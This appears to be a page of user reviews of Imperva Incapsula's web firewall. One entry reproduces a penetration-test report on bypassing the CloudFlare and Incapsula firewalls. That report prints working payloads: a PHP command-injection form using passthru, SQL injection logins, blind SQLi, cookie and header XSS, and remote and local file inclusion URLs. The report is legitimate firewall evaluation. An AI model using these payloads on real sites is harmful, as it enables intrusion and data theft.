Their WAS - I had a problem and I turned to Incapsula. I needed someone to protect the website and they succeeded in this regard.
Online Marketing Manager with 1,001-5,000 employees
The user-generated spam stopped after we started using it to speed up and protect our website.
What is most valuable?
How has it helped my organization?
We’re not an e-commerce site, but a website for providing information, and we needed someone to protect the website. The user-generated spam stopped after we started using Incapsula, and so we feel more secure.
What needs improvement?
I needed some support and according to the SLA and I couldn’t get telephone support and it took a little while till they got back to me. We’re an enterprise company so I think I would be happier for a bit more support to pick the phone up and ask a question. There was not as much back office help as we would have liked.
For how long have I used the solution?
I’ve used it for four months.
Buyer's Guide
Imperva DDoS
January 2025
Learn what your peers think about Imperva DDoS. Get advice and tips from experienced pros sharing their opinions. Updated: January 2025.
831,997 professionals have used our research since 2012.
What was my experience with deployment of the solution?
Yes, we had some down time but we solved it. It took us a few hours although we were promised no down time.
What do I think about the stability of the solution?
No issues with stability, but I still have to look into whether the site speed was faster than it was before as promised.
What do I think about the scalability of the solution?
No issues with scalability.
How are customer service and support?
Customer Service:
8/10 – very professional.
Technical Support:8/10 – very professional once they got back to me.
Which solution did I use previously and why did I switch?
I didn’t use any other solution.
What's my experience with pricing, setup cost, and licensing?
It’s not costly for my needs.
Which other solutions did I evaluate?
I knew the solutions available in the market because I was working in a cyber-security company. I suggested the product, because I knew the product and that they are better than other solutions for my needs.
What other advice do I have?
Do it on a Sunday in case there is down time. I would ask for support after implementation, and check that the site speed is as fast as it should be.
Disclosure: PeerSpot contacted the reviewer to collect the review and to validate authenticity. The reviewer was referred by the vendor, but the review is not subject to editing or approval by the vendor.
IT Solutions Senior Manager at a media company with 501-1,000 employees
Helpful support, good licensing model, and fits within our budget
Pros and Cons
- "It fits our requirements, as well as our budget."
- "Some maintenance must be performed by our IT team."
What is our primary use case?
We use this product as our Web Application Firewall. It provides web-based protection for us. Our requirements are not very complex.
What needs improvement?
Some maintenance must be performed by our IT team.
For how long have I used the solution?
We have been working with Imperva Incapsula for two years.
What do I think about the stability of the solution?
The stability is okay. We use it extensively, on a daily basis. The firewall operates 24 hours per day.
What do I think about the scalability of the solution?
We have approximately 500 employees that are protected with this product.
How are customer service and support?
We have not had any problems with their technical support.
Which solution did I use previously and why did I switch?
We did not use another Web Application Firewall before Imperva.
How was the initial setup?
Incapsula is not a difficult product to deploy.
What about the implementation team?
The vendor assisted us with the deployment.
We have an IT support team that is responsible for maintenance.
What's my experience with pricing, setup cost, and licensing?
We have a yearly contract and I am happy with the pricing. Imperva charges us based on bandwidth, which is better than other vendors that charge us according to data transfer. In these cases, our costs are quite high.
Outside of our package, there are no additional fees.
What other advice do I have?
Overall, I am really happy with this solution. This includes the features and capabilities, as well as the cost. It fits our requirements, as well as our budget.
I would rate this solution a nine out of ten.
Which deployment model are you using for this solution?
Public Cloud
Disclosure: I am a real user, and this review is based on my own experience and opinions.
Buyer's Guide
Imperva DDoS
January 2025
Learn what your peers think about Imperva DDoS. Get advice and tips from experienced pros sharing their opinions. Updated: January 2025.
831,997 professionals have used our research since 2012.
Information Security Manager at a transportation company with 1,001-5,000 employees
Good DDoS and bot features, but it needs support for SSL management
Pros and Cons
- "The most valuable features for us are the DDoS and Bot."
- "I would like to have support for SSL management and secure DNS."
What is most valuable?
The most valuable features for us are the DDoS and Bot.
What needs improvement?
I would like to have support for SSL management and secure DNS.
For how long have I used the solution?
We have been using Imperva for more than a year.
What do I think about the stability of the solution?
We have had no problems with stability.
What do I think about the scalability of the solution?
Imperva is a scalable solution. We have about 20 users but it's protecting our main website.
How are customer service and technical support?
I would say that technical support is average.
Which solution did I use previously and why did I switch?
We did not use another similar solution prior to Imperva.
How was the initial setup?
The initial setup was simple. It took about two hours to deploy.
What's my experience with pricing, setup cost, and licensing?
The cost is on par with other solutions such as Cloudflare and Akamai. There's not much difference in it.
What other advice do I have?
I would rate this solution a seven out of ten.
Which deployment model are you using for this solution?
Public Cloud
Disclosure: I am a real user, and this review is based on my own experience and opinions.
Director Of Hosting Services at a tech services company with 51-200 employees
Offers good protection for our customer's and the interface is user-friendly
Pros and Cons
- "I like the user-friendly interface."
What is our primary use case?
We mainly use this solution as a web application firewall. We have CMS systems in our portfolio, which our customers use, and the full information portraits are running on our infrastructure and in our CMS product. We, therefore, use this solution mainly for protection and to improve performance.
What is most valuable?
I found that it is very easy to set everything up. I like the user-friendly interface.
What needs improvement?
I think the pricing needs some tweaks.
What do I think about the stability of the solution?
Imperva Incapsula is a very stable solution.
What do I think about the scalability of the solution?
We use this solution as a crowd solution, a software service so we don't have any issues regarding its performance or scalability. Our IT administrators use Incapsula to maintain the solution because they have knowledge about how this protection works.
How are customer service and technical support?
I am satisfied with the customer service. The few times that we had issues, they technical support team was able to solve our issues.
How was the initial setup?
The initial setup was very easy and straightforward. Our customers need good protection so we do the installation for them to protect our sites.
What about the implementation team?
We are resellers and in addition to supplying the product, we also offer support.
Which other solutions did I evaluate?
We compared this with other solutions like Akamai, but it couldn't deliver the same as Imperva Incapsula. We don't use specific application tweaks. We only use basic mechanisms of cashing and six years ago, when we were looking for a solution, there was no solution like this one out there. Incapsula does what we need it to do, and we like the easy installation process. We think still that Incapsula is the best.
What other advice do I have?
Because we are resellers, we prefer that our customers use it. But even if I wasn't a reseller, I would still recommend it. I love the solution's capabilities and the ease of the installation.
In the future, I would like to see better pricing. E.x. the additional bandwidth packages are higher than our needs so we end up paying for data that we don't use. I want them to provide me with the particular quantity of megabytes I need. I don't want to pay extra money for megabytes that I will not use in the future.
I rate this program nine out of ten.
Disclosure: My company has a business relationship with this vendor other than being a customer: Reseller.
Sr Associate Information Security at a tech services company with 51-200 employees
A stable solution with good DDoS protection and recently improved technical support
Pros and Cons
- "Scalability is pretty easy on the base platform. You just add another, and you're ready to go."
- "The solution needs to improve Integration with third parties for their on-prem deployment models. The integration is not that good yet."
What is most valuable?
The solution has good DDoS protection, and some good common features, such as no attack surfaces, parameter sanitization, and attack analytics.
What needs improvement?
The dashboard of the solution is complex. It is complex in the sense that there are too many options. There are two types of Incapsula dashboards. One is the on-prem version and one is cloud-based. Cloud-based is okay. The on-prem one needs some work.
The solution needs to improve Integration with third parties for their on-prem deployment models. The integration is not that good yet.
For how long have I used the solution?
I've been using the solution for one year.
What do I think about the stability of the solution?
The solution is stable.
What do I think about the scalability of the solution?
Scalability is pretty easy on the base platform. You just add another, and you're ready to go. We deal mostly with enterprise-level clients.
How are customer service and technical support?
The company has really improved its technical support over the past year. Before that, I wouldn't rate them as very good, but they are much better now.
How was the initial setup?
The difficulty of the initial setup depends on the customer. If it's a complex environment that they're processing, and/or if there's a downtime period, it may take more or less time. It depends on the number of applications that we have to integrate as well.
What other advice do I have?
We are Imperva partners, so we work with clients that use different deployment models, including on-premises and cloud.
I'd recommend to those considering implementation to look at your organization's requirements and then compare your options.
I would rate the solution 7.5 or eight out of ten.
Disclosure: My company has a business relationship with this vendor other than being a customer: Partner.
Security Expert with 51-200 employees
CloudFlare vs Incapsula: Web Application Firewall
CloudFlare vs Incapsula: Round 2
Web Application Firewall
Comparative Penetration Testing Analysis Report v1.0
Summary
This document contains the results of a second comparative penetration test conducted by a team of security specialists at Zero Science Lab against two cloud-based Web Application Firewall (WAF) solutions: Incapsula and Cloudflare. This test was designed to bypass security controls in place, in any possible way, circumventing whatever filters they have. Given the rise in application-level attacks, the goal of the test was to provide IT managers of online businesses with a comparison of these WAFs against real-world threats in simulated real-world conditions.
Zero Science Lab is a Macedonian Information Security Research and Development Laboratory that specializes in information security hardening, consulting, network security, vulnerability research, software and hardware security assessment, penetration testing, malware analysis, forensics and much more - https://www.zeroscience.mk
Background
In February 2013, we conducted the first
comparative pentest analysis of the CloudFlare, Incapsula and ModSecurity Web Application Firewall (WAF) solutions. The goal of a WAF is to block hacker attacks / unwanted malicious traffic to your web application with as few false positives as possible.
Since then, all three vendors had replied to the findings, applying patches to the discovered bypasses and improving their products to protect their customers from web attacks. In August 2013, CloudFlare even launched a new rule- based WAF to augment their existing heuristics-based WAF (which we used in the first pentest). Since Incapsula also uses a rule-based approach, we decided that now is a good time to run a follow-up pentest comparison, this time focusing only on CloudFlare's new WAF and Incapsula's WAF. Over the past 8 months, both vendors have improved their firewall solution by adding extra features, upgrading the rulesets and signature detection algorithms.
The difference between this report and the previous one is that now we have focused more on real-world web application exploitation applying known encoding techniques, as well as the rate of false positives.
Results
1. Attack Vector coverage
The table below shows the overall statistics of the exploits testing:
2. WAF evasion techniques
Blackbox penetration test was conducted against the two services (using their respective Business Plans), applying known filter evasion techniques to bypass their web application firewall solution using real-world scenarios and variety of attack vectors.
We wanted to check how the WAFs deal with evasion techniques, and we took common vectors for each rule and obfuscated them using different evasion techniques like:
- Multi-parameter vectors
- Microsoft Unicode encoding
- Invalid characters
- SQL comments
- Redundant white space
- HTML encoding for XSS
- Javascript escaping for XSS
- Hex encoding for XSS
- Character encoding for Directory Traversal
3. Known Vulnerabilities Handling
Each of the exploits was executed with their default given payload. After that, we applied the evasion techniques on the same payloads and mark the results. Below is a table that gives you an overview of which vulnerability was blocked and which vulnerability has bypassed the WAF mechanisms for detecting known web application exploits.
Results (overview of real apps exploit bypass list):
4. FalsePositives
Obviously a key evaluation criteria for a WAF is to be able to block as many attack variants as possible. However, in real life scenarios there is another evaluation criteria that is as important – not blocking legitimate users.
Testing for false positives is not a trivial task and the way we have decided to run this test is to simulate an administrator that is updating the application HTML. You would find this action in any CMS and it is specifically prone to false positives in XSS filters that look for suspicious HTML and Javascript code.
From our tests it seems that Incapsula has a mechanism to detect what CMS is installed on the web server and to automatically detect and whitelist legitimate administrative actions.
On the other hand CloudFlare’s aggressive XSS filter blocked legitimate attempts to upload HTML and Javascript code to the application through the CMS built in functions.
Conclusion
From the results table, we can see that Incapsula's WAF continues to have an advantage over CloudFlare's WAF. We should also mention that only Incapsula's WAF is PCI-Certified, which is an advantage for certain types of online businesses.
While CloudFlare's new WAF solution showed substantial improvement since the first penetration test, it still does not provide the comprehensive level of security against certain types of web application attacks (e.g., SQL injection, Remote File Inclusion) that many online businesses today require.
We noticed the high block ratio of XSS attacks, but from all the types of attacks, main focus was on Cross-Site Scripting. The SQL Injection, Local and Remote File Inclusion, and Remote Code/Command Execution attacks had very low detection rate by the CloudFlare WAF.
Incapsula, on the other hand, has shown consistent security performance in both tests, with a high block ratio and few false-positives.
Intro
Both Incapsula and CloudFlare WAF services have improved their protection mechanisms and detection methodologies since the previous evaluation. That being said, we decided to put them on yet another heavy test and see what filters we can evade/bypass. All the settings were set to maximum level of protection in both testing environments.
This time we used several real-world applications vulnerable to different types of attack vectors to simulate a real hacking scenario against the firewall services of both vendors.
Along with the vulnerable applications, we used an improved PoC script file to test the solutions against generic attack vectors and their learning mechanisms. This script was written by us and it basically allows calling unsanitized input from the users which allowed us to exploit it and manipulate the results in several ways which would confirm 100% whether or not the filter was indeed working as expected.
Setup and configuration
We're not going in details on how to setup CloudFlare and Incapsula services. Refer to the previous report for more details. All we can say here is that the infrastructure design has remained the same which is the WAF sitting in front of the dedicated server, intercepting all requests that are destined for it. The setup process from client's perspective has stayed the same as well. We've set everything to 'ON' and 'HIGH' for both WAF options.
CloudFlare WAF Settings
Incapsula WAF Settings
Targets and tools
For this occasion we've created two separate testbeds on separate server host machines.
- CloudFlare - cf.destr0y.net
- Incapsula - in.zeroscience.mk, inc.zeroscience.mk, inc.destr0y.net, 4sylum.elgringodelanoche.com
The testbed servers were running Apache web server with PHP and MySQL DBMS. Both the servers had the 'poc.php' script deployed, which is vulnerable to Cross-Site Scripting, SQL Injection, Local and Remote File Inclusion, Cookie Poisoning and Command Execution attacks. We also installed several real-world web applications that are vulnerable to different attack vectors.
Practico CMS 13.7 Auth Bypass SQL Injection - by shiZheni (https://www.exploit-db.com/exploits/28129)
Practico CMS contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the index.php script not properly sanitizing user-supplied input to the 'uid' parameter. This may allow an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.
WP NOSpamPTI Plugin Blind SQL Injection - by Alexandro Silva (https://www.exploit-db.com/exploits/28485)
NOSpamPTI contains a flaw that may allow an attacker to carry out a Blind SQL injection attack. The issue is due to the wp- comments-post.php script not properly sanitizing the comment_post_ID in POST data. This may allow an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.
WP TimThumb Plugin Remote Code Execution - by Mark Maunder (https://www.exploit-db.com/exploits/17602)
TimThumb is prone to a Remote Code Execution vulnerability, due to the script does not check remotely cached files properly. By crafting a special image file with a valid MIME-type, and appending a PHP file at the end of this, it is possible to fool TimThumb into believing that it is a legitimate image, thus caching it locally in the cache directory.
WP W3 Total Cache Plugin PHP Code Execution - by Unknown (https://osvdb.org/show/osvdb/92652) W3 Total Cache Plugin for WordPress contains a flaw that is due to the program failing to properly restrict access to the mclude
and mfunc PHP code inclusion macros. This may allow a remote attacker to insert and execute arbitrary PHP code.
webgrind 1.0 Local File Inclusion Vulnerability - by Michael Meyer (https://www.exploit-db.com/exploits/18523)
webgrind suffers from a file inclusion vulnerability (LFI) when input passed thru the 'file' parameter to index.php is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes.
Newsletter Tailor 0.2.0 Remote File Inclusion - by Snakespc (https://www.exploit-db.com/exploits/11378)
Newsletter Tailor contains a flaw that may allow a remote attacker to execute arbitrary commands or code. The issue is due to the index.php script not properly sanitizing user input supplied to the 'p' parameter. This may allow an attacker to include a file from a third-party remote host that contains commands or code that will be executed by the vulnerable script with the same privileges as the web server.
Apache Struts <2.2.0 Command Execution - by Meder Kydyraliev (https://www.exploit-db.com/exploits/14360)
Apache Struts versions < 2.2.0 suffers from a remote command execution vulnerability. This issue is caused by a failure to properly handle unicode characters in OGNL extensive expressions passed to the web server. By sending a specially crafted request to the Struts application it is possible to bypass the "#" restriction on ParameterInterceptors by using OGNL context variables. Bypassing this restriction allows for the execution of arbitrary Java code.
Apache Struts includeParams RCE < 2.3.14.2 - by Eric K., Douglas R. (https://www.osvdb.org/show/osvdb/93645)
Apache Struts contains a flaw that may allow an attacker to execute arbitrary commands. The issue is due to the handling of the includeParams attribute in the URL and Anchor tags. With a specially crafted request parameter, an attacker could inject arbitrary OGNL code that would be evaluated. In addition, a second evaluation of attacker supplied input can occur when the URL or Anchor tag tries to resolve arbitrary parameters, that would be evaluated as an OGNL expression.
Apache Struts < 2.2.3 Multiple RCE - by Takeshi Terada (https://www.securityfocus.com/bid/61189) Apache Struts is prone to multiple remote command-execution vulnerabilities. Successful exploits will allow remote attackers to
execute arbitrary commands within the context of the affected application.
GLPI < 0.84.1 Arbitrary PHP Code Injection - by High-Tech Bridge SA (https://www.exploit-db.com/exploits/28685)
GLPI suffers from an insufficient validation of user-supplied input passed to the "db_host", "db_user", "db_pass", and "databasename" HTTP POST parameters via "/install/install.php" script [that is present by default after application installation] before writing data into "/config_db.php" file. A remote attacker can inject and execute arbitrary PHP code on the vulnerable system.
Joomla CMS 3.1.5, WordPress 3.6.1 and phpMyAdmin 4.0.8 - False Positives Front
99% of the test was manually approached, but we used several tools for fuzzing and automation to see how the WAFs will behave on scanners and session tracking.
Tools used:
- Acunetix Web Vulnerability Scanner
- Havij SQL Injection Tool
- Burp Suite
- OWASP Zed Attack Proxy (ZAP)
- TamperData
- Firebug
- Cookies Manager+
- CookieMonster
- HttpFox
- Live HTTP Headers
- tcpdump
- Wireshark
- Metasploit Framework
We used the following browsers:
- Mozilla Firefox
- Microsoft Internet Explorer
- Google Chrome
- Opera
- Apple Safari
- Iceweasel
Contents of poc.php:
(click to enlarge)
Testing and analysis
From previous report, Incapsula patched the bypasses and has improved their WAF and even included a new separate control for RFI attacks.
CloudFlare having in mind our previous results has introduced a much improved WAF based on OWASP Core Rule Set (ModSecurity). However, there are lots of bypasses present in the newly upgraded WAF solution. We noticed only a few false positives in CloudFlare while doing regular tasks, using a legitimate application from regular user's perspective. Given the fact that the False Positives test was executed using phpMyAdmin, this was more than expected.
Incapsula on the other hand had also a few false positives, including simple Joomla administrator actions. Unlike Cloudflare, Incapsula offers a great option for whitelisting the request URL and the affected parameter, which allows the WAF administrator to resolve incidents of this kind at any time.
What’s also important to note is that Incapsula can recognize an ongoing attack and block attacker's session. We specifically noticed this during the test using automated tools such as ZAP and Burp. Their blocking mechanism seems to be based on recognizing the fingerprint of the tool being used, so even if you try to trick it by changing the default User-Agent or manipulating other header fields, the WAF will still block your session. We didn't notice such mechanism on CloudFlare's WAF. CloudFlare blocks a session only if an attacker tries to manipulate and send invalid headers.
XSS vectors:
- Vectors making use of HTML5 features - Vectors working on HTML4 and older versions - Cascading stylesheet injection based vectors - Plain JavaScript vectors - E4X vectors working on gecko based browsers - Vectors attacking DOM properties and methods - JSON based vectors |
- Vectors embedded in SVG files - Vectors related to X(HT)ML - UTF7 and other exotic charset based vectors - Client side denial of service vectors - HTML behavior and binding vectors - Clickjacking and UI Redressing vectors |
Results (CloudFlare):
Webgrind Local File Inclusion Bypass:
https://cf.destr0y.net/webgrind/index.php?file=/etc...
GLPI SQL Injection and Remote Code Execution Bypass:
<form action="https://cf.destr0y.net/glpi/install/install.php" method="post" name="main">
<input type="hidden" name="install" value="update_1">
<input type="hidden" name="db_host" value="'; } passthru($_GET['cmd']); /*"> <input type="submit" id="btn">
</form>
<p>
<img src="https://s3-us-west-2.amazonaws.com/itcs-data/posting_images/images/original/29496/wafreport2013v2-008.png" width="650">
</p>
https://cf.destr0y.net/glpi/index.php?cmd=ls%20-la;...
Newsletter Tailor Remote File Inclusion Bypass:
https://cf.destr0y.net/list/admin/index.php?p=http:...
https://cf.destr0y.net/list/admin/index.php?p=http:...
Practico SQL Injection Authentication Bypass:
POST /practico/ HTTP/1.1 Host: cf.destr0y.net Content-Type: application/x-www-form-urlencoded Content-Length: 73 Connection: keep-alive Accept-Encoding: gzip, deflate
accion=Iniciar_login&uid=admin%27+AND+1%3D1%23&clave=password&captcha=vhw3
<p>
<img src="https://s3-us-west-2.amazonaws.com/itcs-data/posting_images/images/original/29496/wafreport2013v2-012.jpg" width="650">
</p>
TimThumb Remote File Include Bypass:
https://cf.destr0y.net/wp/wp- content/plugins/timthumb/cache/external_3ad96be987d746db968ebaa77c49900e.php
WP Plugin NoSpamPTI Blind SQL Injection Bypass:
<form novalidate="" id="commentform" method="post" action="https://cf.destr0y.net/wp/wp-comments-post.php"> <input type="submit" value="Post Comment" id="submit" name="submit"> <input type="hidden" id="comment_post_ID" value="1 AND SLEEP(15)" name="comment_post_ID"><br>
<input type="hidden" value="0" id="comment_parent" name="comment_parent"> </form>
<p>
<img src="https://s3-us-west-2.amazonaws.com/itcs-data/posting_images/images/original/29496/wafreport2013v2-014.jpg" width="650">
<img src="https://s3-us-west-2.amazonaws.com/itcs-data/posting_images/images/original/29496/wafreport2013v2-015.png" width="650">
</p>
Cookie Poisoning Bypass (XSS, SQLi, RFI, LFI, CMDexec):
CloudFlare doesn't check the Cookie value or any other HTTP header field (except User-Agent) for malicious strings. To prove this, we successfully managed to exploit the cookie vulnerabilities in the PoC script.
Cookie XSS Bypass:
Cookie value:
hallo=J0xy0L </h2><script>alert(document.cookie)</script>
Cookie CMDExec Bypass:
Cookie value: market=uname -a;
Cookie LFI/RFI Bypass:
Cookie value: segment=https://zeroscience.mk/pentest/tim.php
Cookie SQLi Bypass:
Cookie value: notifications=dasdsa' union select* from testwaf;#
Directory Traversal Bypass using Burp:
Apache Struts Block (msf):
SQL Injection Fuzz (ZAP) Block:
WP W3 Total Cache Plugin PHP Code Execution Block:
<textarea aria-required="true" rows="8" cols="45" name="comment" id="comment"><!--mfunc eval(base64_decode(cGhwaW5mbygpOyAg)); --><!--/mfunc--></textarea>
User-Agent HTTP Header Field XSS Block:
UA value: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0"><script>alert(1);</script>
False Positive (phpMyAdmin):
https://cf.destr0y.net/phpma/querywindow.php?token=... &table=testwaf&sql_query=SELECT%20*%20FROM%20%60testwaf%60%20WHERE%20%60testzsl%60%3D1&init=1 (?)
Unlike Incapsula, CloudFlare does not offer an option to whitelist the requests and parameters but rather whitelist the IP of the user.
Results (Incapsula):
Webgrind Local File Inclusion Bypass:
Seems its configured to detect and trigger on hardcoded values (I.E: /etc/hosts, /etc/passwd). The vulnerability can still be used to read other valuable files on the system. For example:
https://in.zeroscience.mk/webgrind/index.php?op=fil...
GLPI SQL Injection and Remote Code Execution Bypass:
<form action="https://inc.destr0y.net/glpi/install/install.php" method="post" name="main">
<input type="hidden" name="install" value="update_1">
<input type="hidden" name="db_host" value="'; } passthru($_GET['cmd']); /*">
<input type="submit" id="btn">
</form>
GLPI SQL Injection and Remote Code Execution Bypass:
POST /practico/ HTTP/1.1
Host: 4sylum.elgringodelanoche.com
Content-Type: application/x-www-form-urlencoded
accion=Iniciar_login&uid=admin' AND 230984752 = 230984752#&clave=admin&captcha=rxbg
Accept-Encoding HTTP Header Field XSS Bypass:
AE value: gzip, deflate"><script>alert(1);</script>
User-Agent HTTP Header Field XSS Bypass:
UA value: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0"><script>alert(document.cookie)</script>
Remote File Include Bypass (questionable (captcha)):
Apache Struts Block (tcpdump):
Cross-Site Scripting Bypass:
https://inc.zeroscience.mk/poc.php?x=%3Cform%20id=t... %3Cbutton%20form=test%20onformchange=alert(/XSS/)%3EX%3C/button%3E
XSS Fuzz (Burp) Block:
WP Plugin NoSpamPTI Blind SQL Injection Block:
<form novalidate="" id="commentform" method="post" action="https://in.zeroscience.mk/wp/wp-comments-post.php">
<input type="submit" value="Post Comment" id="submit" name="submit">
<input type="hidden" id="comment_post_ID" value="1 AND SLEEP(15)" name="comment_post_ID">
<input type="hidden" value="0" id="comment_parent" name="comment_parent">
</form>
Newsletter Tailor Remote File Inclusion Block:
https://in.zeroscience.mk/list/admin/index.php?p=ht...
TimThumb Remote File Include Block:
https://in.zeroscience.mk/wp/wp- content/plugins/timthumb/timthumb.php?src=https://zeroscience.mk/pentest/tim.php.php
WP W3 Total Cache Plugin PHP Code Execution Block:
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False Positive (Joomla):
Due to suspicious values being hardcoded as even triggers, Incapsula blocks legitimate access to applications with those keywords in the content/paylod.
For example, any comments in blogs or web content containing any of these keywords will cause Incapsula to deny access. As an example, any IT helpdesk blog with content containing strings such as /etc/passwd, /etc/hosts.
Access denied was presented to us when saving the global configuration in Joomla CMS because of the POST parameter 'jform[sendmail]' with value: /usr/sbin/sendmail...also when tried to install any extension we get blocked, but we can add the parameter and the request URL to the whitelist excluding this particular false positive.
POST https://in.zeroscience.mk/joomla/administrator/ind... HTTP/1.1 - jform[sendmail]=/usr/sbin/sendmail
POST https://in.zeroscience.mk/joomla/administrator/ind... - joomla extension install (RFI FP)
Afterthoughts
We can conclude and confirm that both solutions have improved over the course of this year. And that’s really good to see. Incapsula has invested more into blocking real life attacks on real apps. Their session blocks works pretty good against automated attacks but it didn’t block our sessions while doing the manual testing. They might want to put some more effort into that.
CloudFlare has made a big step forward by introducing a new WAF solution knowing that in the previous result they were rock bottom and basically didn’t stop any attacks. Their new solution is fine but they still have lots of work to do and put it on Incapsula level.
We also noticed that CloudFlare has a high protection rate for XSS attacks than SQLi and LFI/RFI combined.
As we’ve shown in the Results part, both Incapsula and CloudFlare, don’t block malicious request with values sent in HTTP Headers. This leaves an open door for attacker to exploit vulnerabilities of such kind. We specifically tested this with Cookie XSS, LFI, RFI, CMD Execution vulnerabilities in the PoC script. Here is a list of few public cookie poisoning vulnerabilities to show the real life relevance of this issue:
- ClanSphere 2011.3 Local File Inclusion - https://www.exploit-db.com/exploits/22181
- Aleza Portal v1.6 Insecure (SQLi) Cookie Handling - https://www.exploit-db.com/exploits/15144
- Seo Panel 2.2.0 Cookie-Rendered Persistent XSS Vulnerability - https://www.exploit-db.com/exploits/15144
- AV Arcade v3 Cookie SQL Injection Authentication Bypass - https://www.exploit-db.com/exploits/15144
- Website Baker Version <2.6.5 SQL Injection - https://www.exploit-db.com/exploits/15144
- SetSeed CMS 5.8.20 (loggedInUser) SQL Injection - https://www.exploit-db.com/exploits/15144
For References and Appendix see: https://zeroscience.mk/files/wafreport2013v2.pdf
Disclosure: I am a real user, and this review is based on my own experience and opinions.
Director at IT Big Bang
Easy to use and enables us to put everything in code
Pros and Cons
- "Simplifies putting everything in code."
- "A limited tool if you're looking to customize."
What is our primary use case?
The company uses this solution to protect us from any potential attacks. We are customers of Imperva and I'm the company director.
What is most valuable?
Imperva makes it easier for us to put everything in code; we use Terraform to deploy our infrastructure.
What needs improvement?
This is a very limited tool if you're looking to customize. It would be helpful if Imperva would provide additional resources for Terraform that can easily be deployed. There are some cases where we're currently unable to use Terraform.
For how long have I used the solution?
I've been using this solution for six months.
What do I think about the stability of the solution?
The solution is stable although sometimes content delivery seems to be affected because it's in the cloud.
What do I think about the scalability of the solution?
Scalability is fine and we haven't had any issues with resource consumption.
How are customer service and technical support?
Technical support is quite proactive in sharing information.
How was the initial setup?
The initial setup is relatively straightforward.
What other advice do I have?
I rate this solution eight out of 10.
Which deployment model are you using for this solution?
Public Cloud
Disclosure: I am a real user, and this review is based on my own experience and opinions.
IT Director at a tech services company with 51-200 employees
It can hide the true origin and provide access control. Their customer service sometimes has different responses for similar requests.
What is most valuable?
- Hidden origin
- IP whitelist
- Country blocking
- Anti-DDoS
- Special page protection (two-factor authentication)
How has it helped my organization?
For example, we host a website for customer in China. Incapsula can help to hide the real origin and provide access control over different pages. And it can protect the website from being attacked.
Incapsula provides 7x24 service for protection, which saves us a lot of manpower.
What needs improvement?
- Customer service: Their customer service sometimes has different responses for similar requests. We sometimes need to explain the issue many times before they understand. Their CS staff is not well trained according to a consistent standard. For the same requests, some of them can perform well, but some of them might do it wrong.
- Network management: Their network department sometimes doesn’t take the responsibility to improve network latency until we raise the problem many times or to top management. Sometimes, we encounter latency issues. Only sometimes does their network staff update their routing to improve the performance. Other times, they will not do so and they push the responsibility to another carrier.
For how long have I used the solution?
I have used it for one year.
What do I think about the stability of the solution?
Sometimes their system has routed our Asia traffic to US/EU and we needed to ask them to change the route back to Asia.
What do I think about the scalability of the solution?
Their Asia bandwidth, i.e. to China, sometimes has a lot of lag. And they take a long time to improve it, until they add a new ISP to improve the bandwidth.
How are customer service and technical support?
Technical support is 7/10.
Which solution did I use previously and why did I switch?
We previously used Akamai. Incapsula is much cheaper and the administration is much easier.
How was the initial setup?
Initial setup is easy, as Incapsula allows us to create new sites through their GUI or using an API.
What's my experience with pricing, setup cost, and licensing?
Incapsula pricing is very affordable.
Which other solutions did I evaluate?
Before choosing this product, I did not evaluate other options.
What other advice do I have?
If you don’t have a strong IT team for security, Incapsula is a good starting point for outsourcing your internet-facing security issues.
Disclosure: I am a real user, and this review is based on my own experience and opinions.
Buyer's Guide
Download our free Imperva DDoS Report and get advice and tips from experienced pros
sharing their opinions.
Updated: January 2025
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For domain verification, CloudFlare has an upper hand on Incapsula.
CloudFlare works in close collaboration with major web hosting companies around the world, so the verification in CloudFlare is easier and speedy.